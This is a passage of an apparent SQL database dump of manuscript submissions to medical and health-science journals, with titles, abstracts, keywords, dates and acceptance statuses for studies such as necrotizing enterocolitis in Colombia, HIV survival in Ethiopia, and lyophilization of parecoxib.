showed more expression of protein.\r\nConclusion: Compared to previous studies in this field, it is the use of an Additional vector that ensures the stable expression of the gene by transferring the desired gene into the main genome of the host bacterium. The use of a heat-sensitive promoter also eliminates the need to use chemicals to induce expression, as these chemicals can act as a limiting agent for bacterial growth and subsequent production of recombinant protein.\r\n','Cloning, Streptokinase gene, Promoter, Lambda phage, E.coli',783,NULL,'2021-12-27',NULL,'Submitted',12,NULL,'2023-05-17',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12198,12466,86,0,'ipaom-21-12198',' Assessment of 2D and 3D imaging for patients undergoing laparoscopic bariatric surgery',NULL,15,0,'','Abstract\r\nPurpose: To compare the association of 2D and 3D with technical performance and operative time during laparoscopic surgery.\r\nMethods: A systematic review of the literature was conducted through an online search in the database PubMed, Cochrane, Embase, CNKI, to identify articles published in English and Chinese from 2010 to 2020, that compared the clinical results of 2D and 3D laparoscopic Gastric bypass surgery. \r\nResults: A total of 50 articles were included in the qualitative analyses. Out of these, 5 articles that meet the inclusion criteria were analyzed.\r\nConclusions: Compared with a 2D laparoscopic system, a 3D laparoscopic system can significantly reduce the operative time, errors, and increases the operating comfort of the surgeons in performing laparoscopic Gastric bypass surgery.','2D VS 3D imaging, Roux-en-Y Gastric bypass, obesity, laparoscopy',3641,NULL,'2021-12-29',NULL,'Submitted',2,NULL,'2022-01-28',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12199,12467,667,0,'iptb-21-12199','Assessment of 2D and 3D imaging for patients undergoing laparoscopic bariatric surgery  ',NULL,15,0,'','Abstract\r\nPurpose: To compare the association of 2D and 3D with technical performance and operative time during laparoscopic surgery.\r\nMethods: A systematic review of the literature was conducted through an online search in the database PubMed, Cochrane, Embase, CNKI, to identify articles published in English and Chinese from 2010 to 2020, that compared the clinical results of 2D and 3D laparoscopic Gastric bypass surgery. \r\nResults: A total of 50 articles were included in the qualitative analyses. Out of these, 5 articles that meet the inclusion criteria were analyzed.\r\nConclusions: Compared with a 2D laparoscopic system, a 3D laparoscopic system can significantly reduce the operative time, errors, and increases the operating comfort of the surgeons in performing laparoscopic Gastric bypass surgery.','2D VS 3D imaging, Roux-en-Y Gastric bypass, obesity, laparoscopy',5250,NULL,'2021-12-29',NULL,'Submitted',4,NULL,'2022-07-04',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(12200,12468,45,0,'iphsj-21-12200','Behavior of Necrotizing Enterocolitis in newborns in a Neonatal Intensive Care Unit Montería, Colombia, between 2015 and 2018.',NULL,2,0,'','Introduction: Necrotizing enterocolitis (NEC) is a frequent pathology in newborns (NBs) that generally require attention in the neonatal intensive care unit (NICU). There are few data about the incidence in Latin America and Colombia since it is difficult to establish a timely diagnosis and hospital records do not contain accurate information. The following descriptive, retrospective and quantitative study analyzes the incidence, clinical characteristics, diagnostic methods and treatment of necrotizing enterocolitis in newborns from a neonatal intensive care unit of a clinic in the city of Montería.\r\nObjective: To determine the incidence, clinical characteristics, diagnostic methods and treatment of newborns with NEC hospitalized in the NICU in order to provide therapeutic recommendations.\r\nMaterials and methods: A descriptive, retrospective study, with a quantitative approach, including 54 medical records of neonates with NEC born in a private clinic in the city of Montería, Colombia and admitted to the NICU between June 2015 and December 2018. The statistical analysis was performed with SPSS and R Studio software.\r\nResults: The global incidence was 4.4%. 77.8% were premature and 22.2% were full-term newborns. 66.7% developed NEC between the 1st to the 5th day of life. 92.5% of the cases required medical treatment and 4.5% had surgical intervention, the overall mortality was 22.2%.\r\nConclusions: A history of hypertensive disorder of pregnancy was prevalent in NBs with NEC. There was a higher incidence than that reported in the literature of affected term newborns. The use of empirical antibiotics for a long time was identified as a risk factor. A specific feeding protocol should be established according to the individual risk factors and the perinatal characteristics of the newborn that includes the use of breast milk as the first option.\r\n','Newborn, necrotizing enterocolitis, neonatal intensive care unit.',4048,NULL,'2021-12-29',NULL,'Submitted',2,NULL,'2022-02-18',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(12205,12472,45,0,'iphsj-21-12205','The effect of combined exercise versus aerobic exercise on cognition and mood among hypertensive older adults: Randomized Clinical trial',NULL,14,0,'','Comorbidities such as hypertension is a risky factor to impair cognitive function in elderly. Both strength and aerobics (CT, combined exercise) or aerobics (AT) has potential benefits for healthy as well as hypertensive elderly. Our goal was to evaluate the effects of CT and AT on cognition and mood. 52 hypertensive older adults were randomized to 16 weeks of CT (n=26) or group control (GC) (n=26), after this period subjects in the CONTROL began AT (AT) for 16 weeks. Delta between post and pre were calculated and normality was tested. One-way ANOVA to compared groups (CT, AT and CONTROL) follow by post-hoc of by Hechberg and Kruskal-Wallis test followed by Mann-Whitney, for CT and GC or Wilcoxon for GC and AT, depending upon parametric assumption. Improvements in aerobics fitness for both CT and AT (H (2) = 13.89 p<0.001 and p<0.001), working memory (H (2) = 10.07, p=0.02 and p=0.007), speed processing (H (2) = 10.51, p=0.004 and p=0.019), and overall executive function (F (2, 42) = 4.862, p=0.05 and p=0.01) when compared to CONTROL. Improvement in depressive symptoms to CT (H (2) = 18.08, p<0.001) compared to CONTROL only and tendencies to improve short-term memory (F (2, 47) = 3.26, p=0.06) Both CT and AT improve cognitive functions (working memory, overall executive function, speed processing), only CT were able to modified depressive symptoms and short-term memory. Additional benefits for CT would be attached to social interaction, improvement in blood flow or IGF-I release. ','aging;\r\nexercise;\r\ndementia;\r\n',3273,NULL,'2021-12-29',NULL,'Submitted',2,NULL,'2022-01-31',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(12211,12477,86,0,'ipaom-22-12211','Intermittent dosing of antibiotics: IV infusion or IV push?  The impact of administration technique on dose delivered, nursing practice and hospital budget',NULL,14,0,'','Purpose \r\nHospitalised patients are often treated with intravenous (IV) antibiotics due to their critical illnes or inability to swallow oral medication. Intravenous therapy can be achieved by intermittent IV infusion, IV push administration or continuous infusion regimens. Tubing residuals impact the administration of adequate drug doses. We evaluated whether IV push injection is superior to intermittent IV infusion for antibiotics in a theoretical model. Based on these findings we describe the implementation of this administration protocol in a large size non-university hospital (1.403 beds) in Belgium, with its benefits and disadvantages.\r\nMethods \r\nAll Antibiotics on the formulary of the hospital were evaluated for their aptness to be administered by slow IV push injection. The nursing practice of the two administration techniques was analysed on a pilot ward.The financial impact was also briefly considered, with emphasis on the materials used.\r\nResults \r\nFor the intermittent infusion technique the tubing residual was 12 ml, resulting in a net  loss of 24% per dose. For the IV push technique, there was no residual volume as the syringe is connected directly the injection site of the patient. Practice on the pilot ward showed that less interventions were needed with IV push administration as compared to intermittent infusion, resulting in time saving for the nurse. \r\nConclusions \r\nThe IV push administration is the technique of choice, is time-saving and results in cost reduction. The implementation of this protocol has to be well prepared, supervised and guided but is relatively easy.\r\n','Intravenous; antibiotics; IV push administration; hospital; antibiotic stewardship; dead volume',2890,NULL,'2021-12-30',NULL,'Submitted',2,NULL,'2022-01-28',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12224,12492,971,0,'ipaclr-23-12224','Prevalence of Common Mental Disorder and Associated Factors among Patients Admitted to Medical and Surgical Ward of Dilla University Referal Hospital, South Ethiopia, 2019',NULL,14,3,'Mental Health concern','Background: The American Psychiatric Association\'s Manual of Diagnosis and Statistics of Psychiatric Disorders, 4th Edition (DSM-IV), refers to the clinically important term \"mental disorders\" for people associated with current distress (painful symptoms). I am. It is conceptualized as a behavioral or psychological syndrome or pattern. Or, the risk of suffering from a disorder (disorder of one or more important functional areas) or a significant loss of pain, disability, or freedom is greatly increased.\r\n Objectives:  -To assess the prevalence of common mental disorder, and associated factors among patients admitted in the medical and surgical wards in Dilla University Referral Hospital, Dilla Town, and South Ethiopia, February 2019. \r\nMethodology: Institutional based cross-sectional descriptive study design was conducted by using quantitative data collection methods. The study was conducted at Dilla University Referral Hospital (DURH) from December to May, 2019, which is found in Dilla town, Gedeo zone, SNNPR, Ethiopia.  \r\nResults: 176 respondents participated in the study, and the response rate was 100%. Studies have shown that the prevalence of common mental disorders in DURH medical and surgical wards is 32.4%. It was found that factors such as gender, age, financial pressure, interpersonal problems, and chronic physical diseases were significantly related to the common mental disorders of these patients.\r\nConclusion and recommendations: The prevalence of common mental disorders in DURH is high. Women, old age, financial stress, relationship problems, and chronic medical conditions are all risk factors for a general mental disorder. Thus, patients undergoing treatment in the therapeutic and surgical departments should be screened for general mental disorders.              \r\n','Common mental disorders; Prevalence; Mental illness; Hospital patent, self reporting questionnaire           ',3761,NULL,'2021-12-31',NULL,'Submitted',12,NULL,'2023-12-07',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12229,12497,45,0,'iphsj-22-12229','On the estimation of cure rate in the presence of prognostic factors using various Discrete Count Distributions',NULL,14,0,'','Background:  Owing to the new treatments and medicines, many cancer patients get cured of the disease and they do not experience the event of interest (death). Such patients constitute the cure fraction. To analyze survival data related to diseases with cured fraction, cure rate models have been found to be more appropriate as compared to the standard survival models. Promotional Time Cure Rate Model is one such model and it assumes that the patient death may have been caused due to some latent competing causes.  In our case we have assumed that the number of competing causes follow either Binomial or Poisson or Negative Binomial Distribution. \r\n\r\nMaterial and Methods: Parameter estimation has been done by Bayesian approach, using Markov Chain Monte Carlo (MCMC) technique. A real dataset from a breast cancer data of 85 patients is used to illustrate the proposed methodology. The softwares OpenBUGS and STATA is used for the analysis purpose.\r\n\r\nResults: The DIC value of binomial distribution is 143.8 which is least among the three distributions which we have considered for analysis. Also, the predictors Age, tumor size and tumor Grade are found to be significant. The cure rate is found to be 11.58 using the Binomial distribution as the distribution of the latent variable N.The overall cure rate is found to be 13.94 in the presence of predictors.\r\n\r\nConclusion: The findings revealed that Binomial – Exponential distribution with a cure fraction can be an interesting option to explain/predict the survival time and distribution of latent variables in Promotional Time Cure Model as compared to Negative Binomial and Poisson distribution in breast cancer patients.','Cure rate, Binomial distribution, Latent variables, Promotional Time Cure Model, MCMC technique, Bayesian estimates',643,NULL,'2021-12-31',NULL,'Submitted',2,NULL,'2022-01-31',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(12242,12511,251,0,'ipacm-22-12242','Probiotic as a potential  Immunomodulator to combat coronavirus disease (COVID-19)infection',NULL,15,0,'','The outburst of severe acute respiratory syndrome (SARS-COV-2) in December 2019 stumbled the mankind; the death of millions of people across the world stipulated the urge to combat COVID-19. Based on clinical data; COVID-19 along with causing upper respiratory infection managed to create gut dysbiosis and reduce immunity through gut-lung axis. Certain medication and vaccine are the current remedy; however, these are not full proof treatment to avoid COVID complications. Therefore, in this paper we highlighted the necessity to stabilize gut microbiota in order to strengthen immunity. Based on retrospective and pilot studies probiotic is proven effective as an antiviral agent or against diseases such as HIV, Influenza, Antibiotic Associated Diarrhoea and many more. In addition to this, two clinical studies and one patent filed so far provided the supportive evidence for probiotic as an alternative to combat COVID-19. Furthermore, after exploring, studying, and comparing existing statistical data we notified that the, consumption of probiotic amid COVID lessen the gut dysbiosis and re-establish beneficial gut microbiota. It also reduces the cytokine storm generated due COVID-19. Thus, it was found that probiotic enhance the immunity by increasing the count of immune cells and act as an immunomodulator and have profound effect against COVID-19. Albeit, there are supplement research data available in this field but there is still a gap in available research data and clinical studies. Henceforth, supportive clinical studies needed to be conducted to counter the limitations.','Probiotics, Immune Modulation, Gut Microbiome, COVID-19 and Immunity\r\n\r\n',3946,NULL,'2022-01-02',NULL,'Submitted',2,NULL,'2022-07-29',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12267,12536,45,0,'iphsj-22-12267','Survival and Predictors of mortality among HIV infected adults receiving ART in Hawassa comprehensive specialized hospital, Sidama regional state, Ethiopia: A 5 years retrospective Cohort Study.',NULL,14,0,'','Background: HIV/AIDS continues to be a major global public health issue, having claimed. The rapidly expanding access to antiretroviral therapy (ART) is increasing survival of global HIV epidemic dramatic ways and AIDS-related mortality rates are declining fastly.  \r\nObjectives: the aim of this study was to determine survival status and predictors’ of mortality among ART patients attending Hawassa comprehensive specialized Hospital 2020\r\nMethods: A five years retrospective cohort study was conducted involving all patients seen were reviewed between from January 2015-December 2019. The data was analyzed using SPSS version 25.0. Kaplan–Meier Log-rank model was used to estimate the survival time of ART patients based on explanatory variables. Bivariate and multivariate Cox proportional hazards regression models was performed to identify the independent predictors for mortality.\r\nResult: Overall survival probability of ART patients was 74%. The death  incidence rate of 0.135 per 100 person-years with medial survival of 34 month. WHO clinical stage III and IV (HR=3; 95% CI=, 0.9-9.5, p=0.04); age >=60 (HR=1.6; 95% CI=0.3–2, p=0.04); Functional status bed ridden (HR=3.1; 95% CI=1.2-9.4, p=0.04); hemoglobin level (HR=2.38; 95% CI= 0.91-6.28) were independent predictors of mortality among RVI patients.\r\nConclusion: Survival rate of ART patients in this study was low as compared to other studies conducted in the developed world.  Strengthening ART care centers, improving community awareness on PLWHA, timely diagnosis and early initiation for treatment may be necessary to increase patient survival.\r\n','Antiretroviral therapy, Human Immunodeficiency virus, Mortality, Survival, Ethiopia',4962,NULL,'2022-01-04',NULL,'Submitted',16,NULL,'2022-01-28',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(12271,12540,277,0,'ipadm-22-12271','HONGO NEGRO Y LA COVID19 LO QUE SABEMOS AL DIA DE HOY',NULL,15,0,'','La Mucormicosis u Hongo negro es una infección micotica oportunista de la que poco o nada se escuchaba hablar, pero a partir de la pandemia generada por la COVID19  se ha tenido mayor conocimiento dado el alto porcentaje de mortalidad que pueden llegar presentar los individuos que la padecen dentro de la hospitalización por COVID19, la cual puede alcanzar más del 30% dependiendo la presentación clínica.     \r\nLos agentes etiológicos responsables de esta entidad hacen parte de diferentes grupos de hongos dentro de los cuales se destacan principalmente tres géneros que son aislados con mayor frecuencia en las infecciones humanas, los cuales son; Rhizopus, Mucor y Rhizomucor\r\n','hongo negro,  covid-19 ',5022,NULL,'2022-01-05',NULL,'Submitted',2,NULL,'2022-04-13',NULL,1,1,'0','accepted',0,'','',NULL,0,0,0,NULL,0),(12272,12541,277,0,'ipadm-22-12272','NEOPLASIAS ENDOCRINAS MULTIPLES TIPO 1 Y 2 DESDE SU ORIGEN GENETICO HASTA LA CLINICA',NULL,15,0,'','Las neoplasias endocrinas múltiples son un conjunto de síndromes que se heredan de manera autosómica dominante y se caracterizan por producir lesiones proliferativas endocrinas llevando así a una hiperfunción de estas glándulas. Las características de estas lesiones pueden ser benignas, malignas o mixtas. Durante esta revisión se realizó una búsqueda  en diferentes revistas indexadas y demás, utilizando palabras claves como, Multiple endocrine neoplasia, pheochromocytoma, Hyperparathyroidism,  con el fin de obtener artículos originales y de revisión cuya publicación hubiese sido realizada antes de 2020. Se obtuvieron inicialmente 22 artículos pero luego aplicar nuestros criterios de inclusión y exclusión nos quedamos con 8 de los cuales recogimos la información más aplicable y relevante posible.','Neoplasias endocrinas multiples,  genetica,  ',5022,NULL,'2022-01-05',NULL,'Submitted',2,NULL,'2022-06-18',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12273,12542,277,0,'ipadm-22-12273','SÍNDROME DE FITZ-HUGH-CURTIS UNA COMPLICACIÓN POCO ESTUDIADA EN LA ENFERMEDAD PÉLVICA INFLAMATORIA',NULL,15,0,'','El sindrome de Fitz-Hugh-Curtis es una perihepatitis producto de una complicación de la enfermedad pélvica inflamatoria, esta entidad afecta en su mayoría a mujeres en edad fértil,  su principal manifestación clínica es dolor en hipocondrio derecho que se puede estar o no asociado con dolor crónico en región pélvica y antecedentes de EPI clínica o subclínica.  \r\nMetodología; Para este artículo se realizó una revisión narrativa en diferentes revistas indexadas y demás, utilizando palabras claves como, Fitz-Hugh-Curtis Syndrome, Pelvic Inflammatory Disease,  con el fin de obtener artículos originales y de revisión cuya publicación hubiese sido realizada entre 2005 y 2020. Se obtuvieron inicialmente 28 artículos pero luego aplicar nuestros criterios de inclusión y exclusión nos quedamos con 10 de los cuales recogimos la información más aplicable y relevante posible.\r\n','',5022,NULL,'2022-01-05',NULL,'Submitted',2,NULL,'2022-04-20',NULL,1,1,'1','ACCEPTED',0,'','',NULL,0,0,0,NULL,0),(12274,12543,277,0,'ipadm-22-12274','Anticoagulación en el paciente geriátrico: búsqueda sistemática de la literatura',NULL,15,0,'','Resumen\r\nIntroducción: En el envejecimiento se dan cambios biológicos lo que afecta el metabolismo y la excreción de los fármacos. El objetivo es describir las ventajas de la anticoagulación en el paciente geriátrico. Metodología: Búsqueda sistemática en la base de datos, usando las palabras clave. De 211 publicaciones, se seleccionaron 48, todas a partir del año 2015. partiendo de los criterios de inclusión y exclusión establecidos por los autores. Resultados: La anticoagulación reduce significativamente el riesgo de accidente cerebrovascular y embolia sistémica en pacientes ancianos sin aumentar los eventos hemorrágicos mayores. Se debe realizar ajuste de dosis en la mayoría de los pacientes de esta población con Fibrilación auricular no valvular. Se expone las mejores opciones de tratamiento anticoagulante dependiendo de comorbilidades. Los ancianos frágiles tienen una probabilidad significativamente menor de recibir un anticoagulante y la alta prevalencia de síndromes geriátricos puede explicarlo. Dependiendo del procedimiento quirúrgico y el riesgo de sangrado se debe suspender la anticoagulación. El estado de anticoagulación por sí solo no aumenta los resultados quirúrgicos y el costo de la hospitalización en esta población. Conclusión: La anticoagulación tiene efectos favorables en la población geriátrica, y los síndromes geriátricos no son una contraindicación para prescribirlos.\r\n','Palabras clave: Anticoagulación; Cuidados preoperatorios; Anticoagulantes; Fibrilación auricular; Anciano; Warfarina. ',2805,NULL,'2022-01-05',NULL,'Submitted',2,NULL,'2022-06-20',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12278,12547,73,0,'ipjnn-22-12278','Recurrent intracranial meningioma with pulmonary metastases ',NULL,2,0,'','We report a 40-year-old female diagnosed with histological grade III meningioma of OMS 2016 in the right side of the temporo-parietal region of skull vault. After a partial resection of the primary site, she rapidly developed unusual multiple metastasis in the pulmonary parenchyma.  The patient received adjuvant radiotherapy on the residual volume with palliative decompressive intent due to the gross tumor volume. A review of the literature revealed well documented cases of benign meningiomas that metastasized in an interval of up to 10-12 years after primary tumor resection. This case illustrates that meningiomas Grade III WHO with progression disease of the primary tumor have the potential to develop hematogenous rapid metastases, emphasize the role of multimodal management and the role of genetic behavior to predict such evolution.','Meningioma, pulmonary metastases, radiotherapy, palliative',4043,NULL,'2022-01-05',NULL,'Submitted',2,NULL,'2023-06-12',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12279,12548,45,0,'iphsj-22-12279','Electromyographic Activity and Neuromuscular Efficiency of the Internal Oblique Muscle in Pilates Practitioners',NULL,17,0,'','Objetives: The present study aimed to evaluate the NME of the IO muscle through EMG analysis, torque test in practitioners and non-practitioners (control) of Pilates.\r\nMethods: Participants included 40 health women: Pilates practitioners (n=20) and non-practitioners (n=20).  They were tested for trunk flexion (torque). Their internal oblique IO muscle (both sides) was submitted to EMG to estimate its NME. Results concerning EMG and NME were compared between practitioners and control. \r\nResults: Statistical analysis (Student t test; p < 0.05) showed significant difference in torque (p = 0.00083), NME (p = 0.00044) and EMG (p = 0.0015) values between practitioners (93.4±20.5; 0.77±0.38; 153.4±64.1, respectively) and control (65.5±20.4; 0.23±0.10; 268.2±79.0, respectively).\r\nConclusions: Our results suggest Pilates exercises are effective in training the IO muscle to improve the NME in women engaged in Pilates exercises 2 times a week.\r\n','EMG, torque, trunk, core, biomechanics',3273,NULL,'2022-01-05',NULL,'Submitted',4,NULL,'2022-03-07',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(12281,12551,277,0,'ipadm-22-12281','Elastografia como método para la detección de cáncer de mama',NULL,15,0,'','El cáncer de mama es una enfermedad caracterizada por el aumento y descontrol en crecimiento de las células del epitelio mamario, en los últimos años, se han realizado investigaciones sobre nuevas tecnologías con el objetivo de ser más precisos y menos radicales en los métodos utilizados para el diagnóstico de cáncer de mama, donde surgió un nuevo uso de la ecografía basada en las propiedades de los tejidos elásticos, una tecnología que utiliza el nombre de elastografía, lo que mejora en gran medida la precisión del diagnóstico, el desarrollo y aplicación de la elastografía en mama, ha permitido caracterizar la elasticidad de las lesiones detectadas mediante modo B (fundamentalmente nódulos) y en determinados casos subir o bajar el grado de sospecha de lesiones inicialmente valoradas mediante Modo B y Doppler color, para el cáncer de mama, se ha demostrado que la ecografía elástica proporciona información de pronóstico y respuesta a la terapia neoadyuvante, considerándose que el cáncer de mama es una enfermedad heterogénea. Los factores pronósticos están representados por el tipo histológico, el tamaño del tumor, el grado histológico, la metástasis en los ganglios linfáticos axilares y la invasión vascular linfática, teniendo en cuenta lo anterior, al usar esta técnica para diagnóstico temprano, evaluar pronóstico y grado de malignidad de los pacientes, logrando así dar tratamiento oportuno el cual permitirá disminución en la morbilidad y mortalidad de estas pacientes.','Elastografia, detección de cáncer de mama, cáncer de mama. ',2805,NULL,'2022-01-06',NULL,'Submitted',2,NULL,'2022-04-20',NULL,1,1,'1','ACCEPTED',0,'','',NULL,0,0,0,NULL,0),(12284,12555,45,0,'iphsj-22-12284','Socio-Demographic and Other Determinants of Teen Pregnancies in the Tamale Metropolis: A Community-Based Unmatched Case-Control Study',NULL,14,0,'','Purpose: This study aimed to assess the socio-demographic determinants and to ascertain other factors leading to teen pregnancies in the Tamale Metropolis.\r\nMethodology: This study adopted a descriptive cross-sectional study design, using an unmatched case-control technique with a quantitative approach. The case and control groups for this study were adolescents who were between 13 years and 19 years. The study was conducted in the Tamale Metropolis from April 2021 to June 2021. The metropolis is divided into four sub-districts. Almost 36.4% of the population is below 15 years. The exclusion criteria were girls below 13 years, and who have been pregnant before, and those same age group who have aborted before term; and male adolescents from 13 years to 19 years of age. \r\nA multi-stage sampling design was used for the study. STATCALC formula for Epi Info was used to calculate the sample size of 291 for an unmatched case-control groups of pregnant and non-pregnant study participants. A well-structured self-administered questionnaire in English language was used to interview participants. Descriptive statistics were used to describe the data by summarizing them into percentages and frequencies. Data was analyzed using SPSS version 25 and Microsoft Excel. Chi-square test was used to measure the association between the outcome and predictor variables. A p-value<0.05 was indicated an association between the variables. \r\nResults: When participants socio-demographic risk factors in case group (85, 44.3%) and control group (107, 55.7%) by adolescent pregnancy were determined, data proved statistically significant difference (ê­•2=21.29; p<0.001). However, there was no statistically significant difference between case and control groups (ê­•2=0.56; p=0.55) on social media usage influencing adolescent pregnancy. Bivariate and multivariate analyses on marital status respectfully showed a statistically significant difference in terms of co-habiting (Crude odds: 0.04-0.36, p<0.001; AOR: 0.01-0.59, p=0.02) and married (Crude odds: 0.24-0.20), p<0.001; AOR: 0.01-0.22, p<0.001).\r\nConclusion: Despite strong religious affiliation, there exists teenage pregnancy in the Tamale Metropolis as a result of consensual sex. \r\nRecommendation: There is the need to publicly intensify sex education among the youth as well as the various religious sects by the health authorities within the metropolis.','Socio-demographics, Tamale, Metropolis, Teenage, Pregnancy',456,NULL,'2022-01-07',NULL,'Submitted',2,NULL,'2022-03-02',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12286,11947,85,0,'iphspr-22-12286','Comparison between the irradiation days and the irradiation daily dose of Photobiomodulation therapy (660nm) in improvement of Spinal cord injury complications.',NULL,5,0,'','Spinal cord injury (SCI) causes motor deficits, urinary incontinence and neuropathic pain. This study has been accomplished to provide a protocol for photobiomodulation therapy (PBMT) to gain a significant reduction in complications of the SCI. To date, it has not yet been determined whether a more prominent effect would be achieved by increasing the number of days of irradiation or daily dose of PBMT.\r\nMethods: The study was performed in two steps. In the first step, comparison between the effects of PBMT (90sec), separately for two and four weeks on pain, and also improvement of movement (BBB score) was made. In the second step, the comparison to evaluate the effects of different durations of radiation (27, 45, 90 and 117 seconds) was done. Also, Oxidative stress and fibroblast invasion and time to gain spontaneous of urination were assessed in the both steps.\r\nResults: Healing process  in movement and pain stopped with discontinuation of radiation on week2 and fibroblast invasion  resumed, on the other hand, no improvement was seen in the group receiving PBMT for 27 seconds compared to the ones receiving higher durations of laser radiation as  the process of discernible improvement of movement and pain , so, that animals receiving 117s PBM have a higher BBB score even in the first 3days.\r\nConclusion: Number of radiation days is an important factor in improving the mobility, However, the daily dose of radiation is more essential in pain relief.','Photobiomodulation therapy; spinal cord injury; motor function recovery; hyperalgesia, GPX, SOD, MDA',5267,NULL,'2022-01-08',NULL,'Submitted',2,NULL,'2022-11-01',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12287,12558,91,0,'ijddr-22-12287','Design  and devleopment of Lyophilization cycle for Parecoxib  Powder for Solution for Injection 40 mg',NULL,14,2,'','Abstract: \r\nSolution stability  of the drug is the major challenge of the parmaceutical industries. Lyophilization is also known as freeze drying is the subjectof current research for most of the scientists to overcome these challenges.Lyophilization consists of three steps freezing, primary drying and secondary drying.Freezing is the pre requisite step for the primary drying where all the unbound water turns into freeze concentrate and water molecules removed by sublimation. Primary drying is the longest step of the lyophiization.In secondary drying the bound water which is associated with the drug molecules can be removed by the desorption by the application of heat and vaccum.The objective of study is Parecoxib  different formulations used to Optimization of Lyophilization cycles and the main focus is to minimize consistently drying times, while maintaining constant Parecoxib  Powder for Solution for Injection product quality. \r\n\r\nMethods: The various formulations were studied for thermal events by DSC technique and the determination of the critical events by FDM analysis. By collaborated observations from these studies the lyophilzation cycles were developed and studied.\r\n \r\n Results: The data obtained from DSC and FDM  analysis of drug solution was used to determine set temperature to be used during freezing, primary drying and secondary drying set temperatures. The set vacuum for the chamber during the primary drying and secondary drying was determined from the Operation manual of Lyodryer LSI  Freeze dryer. The optimized cycle was about 66 hrs used for better productivity. Evaluated the lyophilized product for water content and assay and x ray diffraction. Pharmaceutical equivalence study was conducted for Parecoxib powder for solution for injection with innovator product (Dynastat®). \r\nConclusion: Finally concluded that the present developed lyo cycle was used to execute the Parecoxib  Powder for Solution for Injection product.\r\n','Parecoxib, Lyophilization cycle, Impedance, FDM analysis,DSC Analysis, Poor thermal stability, Freezing, Primary drying, Secondary drying, X-Ray diffraction.\r\n\r\n',5033,NULL,'2022-01-09',NULL,'Submitted',19,NULL,'2022-06-29',NULL,1,1,'1',NULL,0,'','',NULL,0,4,0,NULL,0),(12289,12560,85,0,'iphspr-22-12289','Providing Healthcare to Underprivileged Immigrants: What Are the Challenges for Health Professionals?',NULL,3,2,'','Challenges and barriers can arise when people from different cultures communicate. Situations become complicated when healthcare professionals communicate with patients from immigrant backgrounds, especially those who are unfamiliar with the healthcare system in their host countries. This short commentary paper aims to outline the main challenges for healthcare professionals when providing care to immigrant patients. The paper is based on a recently published research article in which a systematic review of the literature was performed on intercultural communication between healthcare professionals and patients from immigrant backgrounds. Language barriers, gender, and privacy concerns have been identified as the main factors that prevent health professionals from effectively communicating with patients. The paper concludes with recommendations for healthcare providers to better support patients from underprivileged backgrounds.','Intercultural communication, healthcare, patients from immigrant backgrounds, healthcare professionals.',3404,NULL,'2022-01-09',NULL,'Submitted',19,NULL,'2022-02-03',NULL,1,1,'0',NULL,0,'','',NULL,0,4,0,NULL,0),(12295,12564,667,0,'iptb-22-12295','Anti-hypercholesterolemic activity of Ulva fasciata, collected from Rameshwaram, southeast coast of India',NULL,14,2,'','Seaweeds such as Ulva lactuca, Ulva fasciata, Caulerpa racemosa, Caulerpa lentillifera, Gracilaria corticata and Gracilaria dura were analysed for its in-vitro anti-cholesterol activity. After investigation, Ulva fasciata showed highest in-vitro anti-cholesterol activity of 97.63 %, so Ulva fasciata were further analysed for in-vivo anti-hypercholesterolemic activity by experimenting on Wistar albino rats. The serum total lipid profiles of treated rats were analyzed. The concentration of HDL is comparatively high in all groups. The concentration of LDL and Triglyceride is lowering subsequently in all the groups except the hypercholesterolemic group. The optimum lowering of LDL, TC and increase of HDL were observed for the group – IV of Wistar albino rats which were treated with 600 mg Ulva fasciata.  The histopathological analysis of tissues of heart, liver, kidney and brain showed major inflammation and necrosis of tissues of the group – II rats which was treated with high fat died and seaweed treated rats showed no evidence of tissue inflammation and necrosis. ','Ulva fasciata, Anti-cholesterol activity, In-vivo anti-cholesterol activity, Hypercholesterolemia, Negotiation',3774,NULL,'2022-01-10',NULL,'Submitted',2,NULL,'2022-11-02',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12307,12576,73,0,'ipjnn-22-12307','PYOGENIC - CEREBRAL (BRAIN) ABSCESS',NULL,14,0,'PYOGENIC - CEREBRAL (BRAIN) ABSCESS','Abscesses in the brain have been one of the most challenging wounds, both for surgeons and trainees. It is a packet full of pus of infected material in the part of the brain. It is an important neurological disease and can produce deadly diseases. Since the beginning of the era of computed tomography (CT), the diagnosis and treatment of these organizations has become simpler and less invasive. The results have been improved with the development of diagnostic techniques, neurosurgery, and comprehensive antibiotics. Rare bacterial abscesses are usually caused by the use of chemicals in oncology, longevity in patients infected with human immunodeficiency virus (HIV), and immunosuppression associated with organ transplants. Surgical treatment options did not show significant differences in mortality rates, but lower rates of illness were achieved with a stereo-guided curiosity. Eager stereo-directed antidepressant, antibiotic-based treatment based on the effects of culture culture, and repeated desires expressed in the results of periodic CT scans appear to be the most appropriate treatment for brain tumors. Immunosuppression and comorbidities, early neurological conditions, and intraventricular fractures were important factors influencing patient outcomes. Traps and mutations in the diagnosis and treatment of brain tumors have been discussed in this study.\r\n\r\n','• abscess • abscess in brain • effect • stereotaxy • treatments',334,NULL,'2022-01-12',NULL,'Submitted',2,NULL,'2022-02-10',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12313,12582,45,0,'iphsj-22-12313','Assessment Of Practice Of Breast Self-Examination And Associated Factors Among Health Science Female Students Of Ambo University: Cross Sectional Study',NULL,14,0,'','Background:  Breast Self-Examination is process whereby women examine their breasts regularly to detect any abnormal swelling or lumps in order to seek prompt medical attention. Breast cancer is the most prevalent cancer among women globally and the second 